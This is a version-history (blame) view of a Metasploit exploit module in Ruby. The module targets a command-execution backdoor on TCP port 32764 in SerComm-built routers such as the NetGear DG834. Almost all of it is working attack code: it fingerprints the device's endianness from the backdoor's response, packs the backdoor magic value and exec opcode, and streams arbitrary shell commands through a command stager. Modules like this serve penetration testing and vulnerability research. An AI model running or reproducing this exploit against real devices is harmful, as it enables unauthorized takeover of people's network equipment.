Files
metasploit-gs/modules/exploits/linux/misc/sercomm_exec.rb
T

129 lines
3.2 KiB
Ruby
Raw Normal View History

2014-01-09 07:51:42 -06:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2014-01-08 22:21:32 -05:00
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2014-01-09 07:51:42 -06:00
Rank = GreatRanking
2014-01-08 22:21:32 -05:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerEcho
def initialize(info={})
super(update_info(info,
'Name' => "SerComm Device Remote Code Execution",
'Description' => %q{
2014-01-09 07:51:42 -06:00
This module will cause remote code execution on several SerComm devices.
These devices typically include routers from NetGear and Linksys.
2014-01-13 13:57:34 -06:00
This module was tested successfully against the NetGear DG834 series
ADSL modem router.
2014-01-08 22:21:32 -05:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2014-01-09 07:51:42 -06:00
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
2014-01-08 22:21:32 -05:00
],
'Payload' =>
{
2014-01-09 07:51:42 -06:00
'Space' => 10000, # Could be more, but this should be good enough
'DisableNops' => true
2014-01-08 22:21:32 -05:00
},
2014-01-09 07:51:42 -06:00
'Platform' => 'linux',
2014-01-08 22:21:32 -05:00
'Privileged' => false,
'Targets' =>
[
2014-01-09 07:51:42 -06:00
['Linux MIPS Big Endian',
{
2014-01-09 08:01:11 -06:00
'Arch' => ARCH_MIPSBE
2014-01-09 07:51:42 -06:00
}
],
['Linux MIPS Little Endian',
{
2014-01-09 08:01:11 -06:00
'Arch' => ARCH_MIPSLE
2014-01-09 07:51:42 -06:00
}
],
2014-01-08 22:21:32 -05:00
],
2014-01-09 07:51:42 -06:00
'DefaultTarget' => 0,
2014-01-08 22:21:32 -05:00
'References' =>
[
2014-01-09 07:51:42 -06:00
[ 'OSVDB', '101653' ],
[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
2014-01-08 22:21:32 -05:00
],
'DisclosureDate' => "Dec 31 2013" ))
register_options(
[
2014-01-09 08:01:11 -06:00
Opt::RPORT(32764)
2014-01-08 22:21:32 -05:00
], self.class)
end
def check
2014-01-09 15:17:13 -06:00
fprint = endian_fingerprint
2014-01-08 22:21:32 -05:00
case fprint
when 'BE'
print_status("Detected Big Endian")
return Msf::Exploit::CheckCode::Vulnerable
when 'LE'
print_status("Detected Little Endian")
return Msf::Exploit::CheckCode::Vulnerable
end
return Msf::Exploit::CheckCode::Unknown
end
def exploit
execute_cmdstager(:noargs => true)
end
2014-01-09 15:17:13 -06:00
def endian_fingerprint
2014-01-08 22:21:32 -05:00
begin
connect
2014-01-09 07:51:42 -06:00
sock.put(rand_text(5))
2014-01-08 22:21:32 -05:00
res = sock.get_once
disconnect
2014-01-09 15:17:13 -06:00
if res && res.start_with?("MMcS")
2014-01-08 22:21:32 -05:00
return 'BE'
2014-01-09 15:17:13 -06:00
elsif res && res.start_with?("ScMM")
2014-01-08 22:21:32 -05:00
return 'LE'
end
rescue Rex::ConnectionError => e
print_error("Connection failed: #{e.class}: #{e}")
end
2014-01-09 07:51:42 -06:00
return nil
2014-01-08 22:21:32 -05:00
end
def execute_command(cmd, opts)
vprint_debug(cmd)
# Get the length of the command, for the backdoor's command injection
2014-01-09 07:51:42 -06:00
cmd_length = cmd.length
2014-01-08 22:21:32 -05:00
2014-01-09 07:51:42 -06:00
# 0x53634d4d => Backdoor code
2014-01-08 22:21:32 -05:00
# 0x07 => Exec command
# cmd_length => Length of command to execute, sent after communication struct
2014-01-13 15:04:23 -06:00
# According to @mandreko, probably targets specifics must be had into account
# when dealing with the target endiangess... work in progress
if target.arch.include?(ARCH_MIPSBE)
data = [0x4d4d6353, 0x07, cmd_length].pack("NVV")
else
data = [0x4d4d6353, 0x07, cmd_length].pack("VNN")
end
2014-01-08 22:21:32 -05:00
connect
# Send command structure followed by command text
sock.put(data+cmd)
disconnect
Rex.sleep(1)
end
end